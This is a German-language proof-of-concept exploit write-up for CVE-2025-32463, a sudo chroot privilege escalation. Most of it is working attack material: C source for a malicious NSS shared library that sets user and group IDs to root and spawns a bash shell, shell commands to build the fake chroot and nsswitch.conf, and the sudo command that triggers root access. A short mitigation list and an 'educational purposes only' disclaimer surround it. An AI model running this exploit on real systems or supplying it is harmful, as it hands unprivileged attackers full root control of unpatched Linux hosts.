
Ein PoC-Exploit für CVE-2025-32463 - Sudo Privilege Escalation
Eine Schwachstelle zur Privilegienerweiterung existiert in sudo und betrifft Linux/Unix-basierte Systeme. Der Fehler entsteht aufgrund fehlerhafter Pfadvalidierung, wenn sudo mit der Option -R (--chroot) verwendet wird, was Angreifern erlaubt, durch das Laden einer bösartigen NSS-Bibliothek Root-Rechte zu erlangen.
sudo einen Befehl innerhalb einer chroot-Umgebung (Option -R) ausführt, behandelt es das Laden der NSS (Name Service Switch)-Bibliothek während Fehlerzuständen fehlerhaft.LD_LIBRARY_PATH oder Pfaden in /etc/nsswitch.conf) kann dazu führen, dass anstelle der legitimen NSS-Bibliothek (z. B. libnss_files.so) eine bösartige Bibliothek geladen wird.sudo auf die neueste gepatchte Version.sudo-Berechtigungen (schränken Sie die chroot-Nutzung wo möglich ein).LD_LIBRARY_PATH./etc/nsswitch.conf.secure_path in /etc/sudoers, um Suchpfade für Bibliotheken einzuschränken.| Komponente | Auslöser der Schwachstelle |
|---|---|
sudo -R | Falsche chroot-Pfadvalidierung. |
| NSS | Unsicheres Laden von Bibliotheken während Fehlern. |
| Exploit | Pfadübernahme → Laden einer bösartigen Bibliothek. |
CVE ID: CVE-2025-32463
Betroffene Versionen: Sudo 1.9.14 bis 1.9.17
CVSS-Score: 9.8 (Kritisch)
Auswirkung: Lokale Privilegienerweiterung zu Root
Wenn es mit No such file or directory antwortet, ist es anfällig:
sudo -R invalid invalid
sudo: invalid: No such file or directory
Zuerst erstellen wir ein temporäres Verzeichnis zum Arbeiten:
TMP_DIR=$(mktemp -d -t sudobridge.XXXXXX) cd $TMP_DIR
Dies erzeugt ein eindeutig benanntes temporäres Verzeichnis und navigiert hinein. Der mktemp-Befehl stellt sicher, dass wir nicht in bestehende Systemdateien eingreifen.
Wir müssen eine C-Datei (bridge90.c) erstellen, die zu einer bösartigen Bibliothek kompiliert wird:
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void bridge(void) {
setreuid(0,0); // Set real and effective user ID to root
setregid(0,0); // Set real and effective group ID to root
chdir("/"); // Change to root directory
execl("/bin/sh", "sh", "-c", "/bin/bash", NULL); // Execute shell
}
Wichtige Komponenten:
__attribute__((constructor)) stellt sicher, dass die Funktion ausgeführt wird, wenn die Bibliothek geladen wirdsetreuid und setregid erhöhen die Privilegien auf Rootexecl startet eine Bash-Shellmkdir -p bridge/etc echo "passwd: /bridge90" > bridge/etc/nsswitch.conf cp /etc/group bridge/etc/ mkdir libnss_ gcc -shared -fPIC -Wl,-init,bridge -o libnss_/bridge90.so.2 bridge90.c
Aufschlüsselung:
bridge/etcnsswitch.conf, um auf unseren bösartigen Pfad zu verweisen/etc/group-Datei, um die Legitimität zu wahrensudo -R bridge bridge
Dieser Befehl versucht, unsere präparierte Umgebung zu verwenden:
bridge ist das chroot-Verzeichnis mit unserer bösartigen Konfigurationbridge ist der auszuführende Befehl (der unsere Bibliothek laden wird)Nach erfolgreichem Exploit: Überprüfen Sie den Root-Zugriff:
whoami # Sollte "root" zurückgeben
id -u # Sollte "0" zurückgeben (Root-UID)
graph LR
A[Malicious Library] --> B[Fake Chroot]
B --> C[Trigger Error]
C --> D[Library Load]
D --> E[Root Execution]
Dieser PoC-Exploit dient nur zu Bildungszwecken! Ich bin nicht verantwortlich für irgendeinen Missbrauch, den Sie mit diesem Exploit verursachen könnten!